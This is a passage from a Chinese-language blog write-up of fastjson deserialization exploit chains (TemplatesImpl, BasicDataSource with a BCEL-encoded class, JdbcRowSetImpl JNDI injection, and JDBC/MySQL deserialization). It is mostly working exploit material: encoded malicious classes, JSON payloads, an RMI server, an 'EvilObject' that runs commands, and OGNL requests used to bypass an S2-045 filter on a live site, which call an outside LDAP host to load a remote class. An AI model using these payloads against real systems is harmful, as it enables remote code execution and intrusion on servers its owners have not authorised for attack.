QATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEACgALAAAAAAADAAEADAANAAIADgAAABkAAAADAAAAAbEAAAABAA8AAAAGAAEAAAAMABAAAAAEAAEAEQABAAwAEgACAA4AAAAZAAAABAAAAAGxAAAAAQAPAAAABgABAAAADgAQAAAABAABABEAAQATABQAAQAOAAAAbAACAAIAAAAeKrcAAbIAAhIDtgAEuAAFEga2AAdXpwAITCu2AAmxAAEADAAVABgACAACAA8AAAAeAAcAAAAQAAQAEQAMABQAFQAXABgAFQAZABYAHQAYABUAAAAQAAL/ABgAAQcAFgABBwAXBAABABgAAAACABk="</span>],'_name':'a.b','_tfactory':{},<span class="attr">"_outputProperties"</span>:{ },<span class="attr">"_name"</span>:<span class="string">"a"</span>,<span class="attr">"allowedProtocols"</span>:<span class="string">"all"</span>}</span><br></pre></td></tr></table></figure><p><img src="10.png" alt="10"></p><h3 id="BasicDataSource:"><a href="#BasicDataSource:" class="headerlink" title="BasicDataSource:"></a>BasicDataSource:</h3><p>templatesImpl这条链限制很大,必须要parseObject()函数含有Feature.SupportNonPublicField才能利用。在真实环境一般不容易遇到,很鸡肋。这个时候就需要一条更通用的链,而BasicDataSource就是这样一条链。</p><p>这里简单测试了fastjson1.2.33版本payload。更多payload可以查看更多版本利用和poc可以查看<a href="https://mp.weixin.qq.com/s/amFZ4H0mwGxVLFc33kH1OA">https://mp.weixin.qq.com/s/amFZ4H0mwGxVLFc33kH1OA</a></p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line">cmd: whoami (数据头)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">{</span><br><span class="line"> <span class="attr">"xx"</span>:</span><br><span class="line"> {</span><br><span class="line"> <span class="attr">"@type"</span> : <span class="string">"java.lang.Class"</span>,</span><br><span class="line"> <span class="attr">"val"</span> : <span class="string">"org.apache.tomcat.dbcp.dbcp2.BasicDataSource"</span></span><br><span class="line"> },</span><br><span class="line"> <span class="attr">"x"</span> : {</span><br><span class="line"> <span class="attr">"name"</span>: {</span><br><span class="line"> <span class="attr">"@type"</span> : <span class="string">"java.lang.Class"</span>,</span><br><span class="line"> <span class="attr">"val"</span> : <span class="string">"com.sun.org.apache.bcel.internal.util.ClassLoader"</span></span><br><span class="line"> },</span><br><span class="line"> {</span><br><span class="line"> <span class="attr">"@type"</span>:<span class="string">"com.alibaba.fastjson.JSONObject"</span>,</span><br><span class="line"> <span class="attr">"c"</span>: {</span><br><span class="line"> <span class="attr">"@type"</span>:<span class="string">"org.apache.tomcat.dbcp.dbcp2.BasicDataSource"</span>,</span><br><span class="line"> <span class="attr">"driverClassLoader"</span>: {</span><br><span class="line"> <span class="attr">"@type"</span> : <span class="string">"com.sun.org.apache.bcel.internal.util.ClassLoader"</span></span><br><span class="line"> },</span><br><span class="line"> <span class="attr">"driverClassName"</span>:<span class="string">"$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$95W$Jx$Ug$Z$7e$t$bb$9b$99L$s$90$y$y$n$Jm9K$Sr$ARZ$S$K$84$40$m$92$84$98$NP$O$95$c9dH$W6$3bav$96$40$ab$b6JZ$5b$LZ$Lj9$d4$Kj$3c$f0$m$d1$r$82E$bc$82$d6$fb$3e$aax$l$f5$be$8b$8fJ$7d$ff$99$Nn$c8$96$3c$3e$cf$ce$7f$7e$ffw$be$df$f7$ff$fb$f4$b5$f3$X$B$y$c1U$V$c5x$m$H$ab$f1j$d1$bcF$c6A$V$7eo$a5_4$P$wxH$c5k$f1$b0$98$3c$a2$e0u$a2$7fT$c6$n$Vy8$ac$e2$f5x$83$ca$95$c7$c4$a97$8a$e6q1$3d$o$d8$kUQ$887$vx$b3$8c$b7$c8xB$cc$8e$c98$ae$a0I$c5$J$9c$U$8c$de$aa$a0C$c6$dbd$bc$5d$c5L$i$96$f1$a4$8a$d9$a2$7f$87$8a$b98$ac$e0$94$8a$d3x$a7$8a$e9x$97$82w$8b$7e$40$c1$7b$U$bcW$c1$fbd$bc_$c6$Z$V$l$c0$HE$f3$n$V$l$c6Y$V$d5$YT0$q$fa$8f$88$e6$a3$w$aa$90$U$cd9$d1$M$L5$3e$a6$e2$3c$$$88$e6$e3b$fa$94P$f9$a2$8cO$88$c9$ra$d3$te$7cJ$82$d4$zaJ$d3n$7d$9f$5e$9dp$o$d1$ea$f5z$bc$3bl$3a$b5$Sr$c2$91$ae$98$ee$qlS$c2$fc$f1$U$cb$bd$a5$a8$k$eb$aa$de$d8$b1$db4$9c$da$V$3c$95eD$r$U$a6$ed$d5G$f5x$bc$c9$d2$3bM$9b$db$be$ee$b8$z$a1$e0$c6$7do$a7$97$ad$d1$d3$v$n$98$b6$lv$ecH$ac$8b$E$92$3dv$p$r$94$h$3c$97$bd$3c$S$8b8$x$c8$a0$b4l$b3$E$7f$bd$d5I$b5$t7EbfK$a2$a7$c3$b4$db$f5$8e$a8$v$YX$86$k$dd$ac$db$R1O$zJ$fcf$df$a8R$8b$e54X$89X$e7$da$fd$86$d9$ebD$ac$Y$r$f9$9d$eeH$5c$c2$9c$a6x$a2$a7$c7$b4$e3$a6Qm$g$ddVu$bd$Vsl$x$g5$ed$ea$baht$z$97H$9c$XvtcO$b3$de$ebJ$a1$b3$J$u$ca$8aH$I$95$8e7$a3l$hu$b7$3avK$c8o6$9dn$ab$b3U$b7$f5$k$d3$a1$U$J$d32$ih$Uv$e6v$99N$9b$Z$ef$b5bq$daP$9cFe$9b$bb$a2$q$ab$f6$98Q$9dP$daf$baM$e9$867$d2$84$$$3dZg$Yf$3c$9eNT$99$81scl$l$7d$v$I$dau$9bz$a4$d3$cfJ$a3o$b1$c2$J$a3$db$d3$p$9d$s$d7$e8$d6$e9B$a7$85f$S7$bd$7d$d7u$8cX$d5$ad$M$ba$b3$c5$8e8$$j$qKB$a0$93$t$JV$a9$d1K$s$e6$RS$889$c7$a5$G$7e$7b$e9$f1N$d3$88$ea$b6$d9$d9$Q1$a3$84QQ$G$ad$dd$z$b2$M$c4$j$ddvx$$$e6f$ee$a7e$7c$86y$xAYnDSPR$c3V$c26$cc$86$88$c0$88$96$Kl$95$60$a9$e1$rh$d3$d0$82$8d$gZ$b1$91$80$k$97$k$g$ea$b1F$c3$3a$ac$970O$ec$ee$af$8a$9b$f6$be$a8$e9Tu$3bNo$d5z6ao$a1$cd$dc$9b0$e3$8e$8c$cfj$Y$c1e$N$8dx$b1$84$db$t$3a$e4E$5d$c3$GA$3ds$o$f4j$f8$i$dad$7c$5e$c3$d3$f8$82$868h$c4$X$f12$N_$S$cdKE$f3e$7cE$c3W$f15$a6$3e$c3$b9$de$U$v$cb$i$ba$813$Bzcrj$f8$3a$be1f$dd$c3$a8$8coj$f8$W$be$ad$a1$J$cd$y3$Z$A8F$f3$cc$f0$93$b0$e0$ff$A$9f$84$db$s$80$9e$E$d9$8aW$c5$88$3a$Z$df$d1$f0$5d$7cO$c3$f7$f1$MkH_$q$d6i$f5$J$bf$fc$80$c9$b8n$f5$G$c2dS$7bC$e5$5d$9eG$3c8$8e$da1$W$a4c$m$Q6$f4X$cc$b4e$fcP$c3$V$fcH$c3$8f$f1$T$Z$3f$d5$f03$fc$5c$40$e7$X$84$fb$8e$3a$N$bf$c4$af4$fc$g$cfhx$W$bf$d1$f0$5b$81$a9$df$89$e6$f7$f8$D$f1$a8$e1$8f$f8$93$86$3f$e3$_$g$fe$8a$bf$J$a8$e9$94$be$7d$7c$z$d0$f0w$R$bb$7f$e09$a6$de$84$b5$89$85b$fbM2$a3$f0$F$b6$98$9e$Z$ab$3a$9d$T$e5$m$F$8ey$a5$e3kwY$86r$3f$b9W8$cf$z$91$ed$b6n$98c$e0$d3$dem$T$7dLh$pa$dbf$cc$Z$9dO$zMg$e5$ad$92$97b$d0F$3d$S$a3x$9f$deI$3a$85$d1J$e93$a54$93$f4$fcH$bc$$$k$X$f7$hKs$83m$f5$I$de$e3$e8DM$W$81$f7$A$qaU$G$db$b6$8f$3fu$b3$w$3c$fd$85$f6$I$bf$I1$bd$87$8eX$96$a1$dag$IzY$a6$bb0$3d7$P$c4$j$b3$c7$bb$pZm$ab$d7$b4$9d$D$y$x$T$c4$e7$fau$9b$ebXMV$9fi$d7$eb$e2j$Z$eb$f9$ebD$rc$9c$c6z$k$W$b5$yf$98$ae$ef$K$fe$b7$d7$96$889$RQ$e7Uqc$8dNBc$b8$a6$96$c5$3dk$ee7$N$be$3a$s$d0$95V$89JQ$3bFRjQ$c2$qJj$8c$f5$s$I2$e2$84$8e$u$i$95$c6$d4M$db$e0$f1$f2$d2$8c$h$Z$a4$f3$ce$d5$Sqs$8d$Z$8d$f4xy$7f$T$r$d3$8b$81$b0$wf$ee$e7$8d$p$bb$c8$8f$c6nx$H$a4I$I$ec$8a$s$e2$bc$ea$CF$d4$S$ce$_$a0$rk$d2$af6Z7$a3$b4$ecfI$9c$c7$8b$d5$ab$a3$R$f7$89$e3$_$dd$s8$fb$c8$e9$G$M$dc$MM2$d3$c4$b6$f5$D$ee$b3$8a$B$cd$e3$f1p$82H2$bc$e4$K$89$3cc$ee$d1$ae1$F$a1h$7c$d2$a5$5e$80$98$c5gh1$9f$e52$UqCB$c2Z$ce$b2$d0$c09$_K$8e$Vq$ff$b9$fd$86T$cf$db$c3$edy$df$ba$7d$ab$db$Hx$96$d70$db0gI$f2$c8b$bf$bc$fc$i$qi$IY$fc$7c$X$e0$dfz$O$81$nd$PB$O$wI$e4$MA$V$c3$5cw$a8$N$40iZ$90$c4$a4aL$f6$N$p$ff$yyMC$F$l$d4y$f0$a1$9d$dc$aa$90$cbv2$9f$fc$F$94$h$84$86$v$a4$I$d1$KAWD$caB$y$e4$83$7d$JJP$8b$Z$d8D$eai$d4c$nOl$c6$W$f2$a3F$b8$H$5b$d9o$e3$97$8f$ac$e7yH$92$b1$5d4$3b$fcP$c5$dd$cb$Ta$97$o$cb$3dQ$5c$3e$82$bcAd$97$tQp$M$B$ff$Zo$i$dc$e2$3b$c3$5dO$b3$m$r$A$b7a$S$ffS$e4c$Ou$98$ebJ$d7$3c$Ox$b9$eb$p$n$d3$8f$acI$Sv$K$8fI$5c$GE$f2$o$f1Df$3d$82l$c1H$aa$y$c9_r$g$93$H$915$o$3c$e4$h$81$ffl$f90$a6$i$97B$5c$bb$8c$87$G$a1R$85$a9I$84$8e$e1$409$fd$cb$85$e04$ffS$u$dc$ea$LN$P$tQT$ceI1$t$r$9c$cc$b8$84$e9C$b8e$Q$b7$5c$86$w$a21$802$f2$n$83$e0$ad$3e$9e$nys$F$X8$$$s5C$c5P4$7b$84$8b$9b$x$92$985$80r$d1$cf$Z$c0l$d1$cf$h$401$d5$ba$8c$a9$83$d0$ae$x$oS$R$9f$abs$b7$absG$f0$f6a$ccO$a24X$96D$f91$u$c1$F$D$I$E$x$9ay$uX$99$SL$ca$94$d8K$a8j$a9$bc$80$ea$ad$c3XHU$93X$94$c4$e2$8asxQpI$Sw$q$b14$89$3b$x$93$b8$8b$df$b2$B$f8$9b$cf$96$97$f8w$ba8$J$a0$D$P$e0$m$fd$bf$I$P$e3Q$c6$40$f4G$f8$bfN$f4$t$Y$8b$Ri$a64$87$fb$5e$b4$k$e7$K0$9fQ$x$r$82$ca$Z$9f$F$a8$q$82$W$R$M$9b$88$96$ed$iu$e0$O$d8XJ$be$b5$e4$7c$t$fa$b1$8c$bc$ea$c9$fdn$i$c2$K$3c$c6$f1$R$ac$c4Q$ac$c2$T$i$9f$40$jN2$9b$9e$e4$f84$b3$u$c9$i$3a$cf$8c$Za$be$5ca$c6$5cE$8b4$9d$8f$d3$Zh$95f$oLm$da$a4$b9h$97$e6a$8bTAD$K$b4$ec$40$OeN$a2l$83$80$e8wQ$db$c9$d1$nwdrt$d4$j$ed$e2$e8$a4$3b$ea$e2$e8$K$a5vSB$We$94$o$82$dd$b4$92$Q$c2$k$Xsb$UE$Pq$u$d0W$8a$fc$m$fe$85$96$9d2b$fe$d52$acu2z$f9$ed$95$a7$cd$ac$93a$3f$87$b5$dc$Ba$u$Q$9a$93E$s$e0q$81$d2$f8$uJ$a5$7b$d8k$5c$eb$X$91$Xp$a8i$a9$bc$b8$d4$ef$5b$g$I$FB$feS0$xC$81$c55$d9E$d9$fe$qj$a5$g$b9H$a4$cbr$f6$b2$8b$94$bb$8fC$x$92K$86$b1b$A$d5E$f2$r$ac$e4$afF$vR$$$$$cd$f1$zUCj$u$e7$U$a6$V$v$nuqMnQ$ae$m$ecW$a5$81$e7$9f$rxj$94$fe$A$87$c7$vt$d5$d6$e6$cb$cf$3f$u$8a$c4$7cXt$dbhpW3$B$85$x$DL$e4$5b$99asi$ca$7c$ba$b4$9a$ae$ac$a1$T$eb$e94$83$O$8b$b0$b7h$abM$e78$a4$bd$X$7bq$lg$H9$T$c1XA$t$Y$fc$i$ba1$97$i$9a$5d$87$ca$e4$b9$Z$J$ec$e3$O$3d$80$3e$cf$c9$iyN$O$e0$7e$ecg$d8$b3$5cwWA$f97$C2$O$5cC$ae$8c$7b$r$e9$3fX$q$e3$3e$Z$af$b8$86$C$Z$x$r$e9$w$8a$Y$86$d8$3f$c1Q$60$d4$e9$7d$v$a7$xx$e5$f5$8a$3a$db$ad$q$M$E$abc$SuC$90$cf$8a$e0$ba$sg$bb$7b$K$dbW$b9$d5$fb$fe$ff$Ctz$ebem$R$A$A"</span></span><br><span class="line"> }</span><br><span class="line"> } : <span class="string">"xxx"</span></span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><img src="30.png" alt="30"></p><h2 id="jdbcRowSetImpl链条分析"><a href="#jdbcRowSetImpl链条分析" class="headerlink" title="jdbcRowSetImpl链条分析"></a>jdbcRowSetImpl链条分析</h2><p>影响范围:fastjson <= 1.2.24</p><p>我们在平时使用中用的最多的应该就是jdbcRowSetImpl这条链。</p><p>jdbcRowSwtImpl这条链用到了jndi+rmi/ldap。</p><p>一些前置知识:</p><p>Jndi(Java Naming and Directory Interface)是一组应用程序接口,它为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定位用户、网络、机器、对象和服务等各种资源。JNDI 是应用程序设计的 Api,可以根据名字动态加载数据,支持的服务主要有以下几种:DNS、LDAP、 CORBA对象服务、RMI。</p><p>一个简单的rmiServer demo:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> com.sun.jndi.rmi.registry.ReferenceWrapper;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> javax.naming.NamingException;</span><br><span class="line"><span class="keyword">import</span> javax.naming.Reference;</span><br><span class="line"><span class="keyword">import</span> java.rmi.AlreadyBoundException;</span><br><span class="line"><span class="keyword">import</span> java.rmi.RemoteException;</span><br><span class="line"><span class="keyword">import</span> java.rmi.registry.LocateRegistry;</span><br><span class="line"><span class="keyword">import</span> java.rmi.registry.Registry;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">RMIServer</span> </span>{</span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * RMIServer启动</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> args</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> RemoteException, NamingException, AlreadyBoundException </span>{</span><br><span class="line"> Registry registry = LocateRegistry.createRegistry(<span class="number">1099</span>);</span><br><span class="line"> System.out.println(<span class="string">"Java RMI registry created. port on 1099"</span>);</span><br><span class="line"> Reference reference = <span class="keyword">new</span> Reference(<span class="string">"Object"</span>, <span class="string">"Object"</span>, <span class="string">"http://127.0.0.1:8000/"</span>);</span><br><span class="line"> ReferenceWrapper referenceWrapper = <span class="keyword">new</span> ReferenceWrapper(reference);</span><br><span class="line"> registry.bind(<span class="string">"Exploit"</span>, referenceWrapper);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>FjPoc.java</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> com.alibaba.fastjson.JSON;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">FjPoc</span> </span>{</span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 构造Json PoC,反序列化漏洞入口文件</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> args</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> </span>{</span><br><span class="line"> String PoC = <span class="string">"{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:1099/Object\", \"autoCommit\":true}"</span>;</span><br><span class="line"> JSON.parse(PoC);</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>需要实例化的恶意class文件:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">EvilObject</span> </span>{</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="title">EvilObject</span><span class="params">()</span> </span>{</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">static</span> {</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> Runtime.getRuntime().exec(<span class="string">"open -a Calculator"</span>);</span><br><span class="line"> } <span class="keyword">catch</span> (IOException e) {</span><br><span class="line"> e.printStackTrace();</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>1.启动rmiServer</p><p>2.python起一个web服务<code> python3 -m http.server 8000</code></p><p>3.运行FjPoc请求我们启动rmi恶意服务。</p><p><img src="11.png" alt="11"></p><p>分析:</p><p>定位到:lib/rt.jar!/com/sun/rowset/JdbcRowSetImpl.class</p><p><img src="12.png" alt="12"></p><p>跟进this.connect()。</p><p><img src="13.png" alt="13"></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">this.getDataSourceName()</span><br></pre></td></tr></table></figure><p>this.getDataSourceName()获取到了我们传入的rmi链接。然后请求我们的rmi恶意服务,</p><p><img src="14.png" alt="14"></p><p><strong>jdbcRowSetImpl链调用流程</strong>:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">JdbcRowSetImpl#setAutoCommit()-><span class="keyword">this</span>.conn=<span class="keyword">this</span>.connect()->JdbcRowSetImpl#lookup()->RegistryContext#decodeObject()->NamingManager#getObjectFactoryFromReference()->VersionHelper12#loadClass()</span><br></pre></td></tr></table></figure><p><img src="31.png" alt="31"></p><h3 id="扩展,利用jdbcRowSetImpl绕过s2-045限制"><a href="#扩展,利用jdbcRowSetImpl绕过s2-045限制" class="headerlink" title="扩展,利用jdbcRowSetImpl绕过s2-045限制"></a>扩展,利用jdbcRowSetImpl绕过s2-045限制</h3><p>再一次实战中遇到一个s2-045的站点。poc探测有回显,但是exp却无法执行成功,推测服务端通过filter的方式对Content-type的内容进行安全检查,检测到<code>java.lang.ProcessBuilder</code>等危险函数就进行了拦截。</p><p>尝试进行绕过:</p><p>首先通过<code>java.net.InetAddress@getByName</code>判断出出网。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">GET /license!getExpireDateOfDays.action HTTP/<span class="number">1.1</span></span><br><span class="line">Host: x.x.x.x:<span class="number">89</span></span><br><span class="line">User-Agent: Mozilla/<span class="number">5.0</span> (Macintosh; Intel Mac OS X <span class="number">10_14_4</span>) AppleWebKit/<span class="number">537.36</span> (KHTML, like Gecko) Chrome/<span class="number">74.0</span><span class="number">.3729</span><span class="number">.169</span></span><br><span class="line">Content-Type:%{(#_=<span class="string">'multipart/form-data'</span>).(#_memberAccess=<span class="meta">@ognl</span>.OgnlContext<span class="meta">@DEFAULT_MEMBER_ACCESS</span>).(<span class="meta">@java</span>.net.InetAddress<span class="meta">@getByName("qcjfgq.dnslog.cn")</span>)}.multipart/form-data;</span><br><span class="line">Accept-Encoding: gzip, deflate</span><br><span class="line">Connection: close</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><p><img src="22.png" alt="22"></p><p>利用jdbcRowSetImpl链进行jndi注入。</p><p>利用fastjson_tool.jar起一个ldap恶意服务。</p><p><img src="23.png" alt="23"></p><p>Post payload:</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">GET /license!getExpireDateOfDays.action HTTP/<span class="number">1.1</span></span><br><span class="line">Host: x.x.x.x:<span class="number">89</span></span><br><span class="line">Pragma: no-cache</span><br><span class="line">Cache-Control: no-cache</span><br><span class="line">Upgrade-Insecure-Requests: <span class="number">1</span></span><br><span class="line">User-Agent: Mozilla/<span class="number">5.0</span> (Macintosh; Intel Mac OS X <span class="number">10</span>_15_7) AppleWebKit/<span class="number">537.36</span> (KHTML, like Gecko) Chrome/<span class="number">92.0</span><span class="number">.4515</span><span class="number">.159</span> Safari/<span class="number">537.36</span></span><br><span class="line">Accept: text/html,application/xhtml+xml,application/xml;q=<span class="number">0.9</span>,image/avif,image/webp,image/apng,*<span class="comment">/*;q=0.8,application/signed-exchange;v=b3;q=0.9</span></span><br><span class="line"><span class="comment">Content-Type:%{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#a=new com.sun.rowset.JdbcRowSetImpl()).(#a.setDataSourceName("ldap://121.5.40.91:8000/EvilObject")).(#a.setAutoCommit(true))}.multipart/form-data</span></span><br><span class="line"><span class="comment">Accept-Encoding: gzip, deflate</span></span><br><span class="line"><span class="comment">Accept-Language: zh-CN,zh;q=0.9,en;q=0.8</span></span><br><span class="line"><span class="comment">Cookie: JSESSIONID=43D8DE02ED8A8D15A312A3A105F2E0E9</span></span><br><span class="line"><span class="comment">Connection: close</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment"></span></span><br></pre></td></tr></table></figure><p><img src="24.png" alt="24"></p><h2 id="fastjson配合jdbc序列化"><a href="#fastjson配合jdbc序列化" class="headerlink" title="fastjson配合jdbc序列化"></a>fastjson配合jdbc序列化</h2><p>jdbc序列化之前在实战中也遇到过两次,感觉还是比较实用的,只要能控制mysql的jdbc链接,就能控制mysql客户端链接我们的恶意mysql服务,造成序列化漏洞。</p><p><img src="27.png" alt="27"></p><p>详情可以看丁师傅的文章:<a href="https://xz.aliyun.com/t/9250">https://xz.aliyun.com/t/9250</a></p><p>今年的blankhat上面,玄武实验室披露了几条fastjson利用jdbc序列化的链条。</p><p><img src="26.png" alt="26"></p><p>简单复现一下。</p><p>采用该项目来当mysql恶意服务端:</p><p><a href="https://github.com/fnmsd/MySQL_Fake_Server">https://github.com/fnmsd/MySQL_Fake_Server</a></p><p>本地测试demo:</p><p>maven包</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">dependencies</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">dependency</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">groupId</span>></span>com.alibaba<span class="tag"></<span class="name">groupId</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">artifactId</span>></span>fastjson<span class="tag"></<span class="name">artifactId</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">version</span>></span>1.2.68<span class="tag"></<span class="name">version</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">dependency</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">dependency</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">groupId</span>></span>mysql<span class="tag"></<span class="name">groupId</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">artifactId</span>></span>mysql-connector-java<span class="tag"></<span class="name">artifactId</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">version</span>></span>5.1.12<span class="tag"></<span class="name">version</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">dependency</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">dependency</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">groupId</span>></span>commons-collections<span class="tag"></<span class="name">groupId</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">artifactId</span>></span>commons-collections<span class="tag"></<span class="name">artifactId</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">version</span>></span>3.1<span class="tag"></<span class="name">version</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">dependency</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">dependencies</span>></span></span><br></pre></td></tr></table></figure><p>Fastjson1.2.68版本,cc3.1是为了用cc6执行命令。只有5.1.11至5.1.48可反序列化。</p><p>Demo:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.example.fj_mysql_springboot_demo.controller;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.alibaba.fastjson.JSON;</span><br><span class="line"><span class="keyword">import</span> org.springframework.web.bind.annotation.*;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">FastJsonVuln</span> </span>{</span><br><span class="line"></span><br><span class="line"> <span class="meta">@RequestMapping(value = "/fastjson",method = RequestMethod.POST)</span></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">fj_poc_test</span><span class="params">(<span class="meta">@RequestBody</span> String data)</span> <span class="keyword">throws</span> Exception</span>{</span><br><span class="line"></span><br><span class="line"> JSON.parse(data);</span><br><span class="line"> JSON.parseObject(data);</span><br><span class="line"></span><br><span class="line"> System.out.println(data);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> <span class="meta">@RequestMapping("/hello")</span></span><br><span class="line"> <span class="function"><span class="keyword">public</span> String 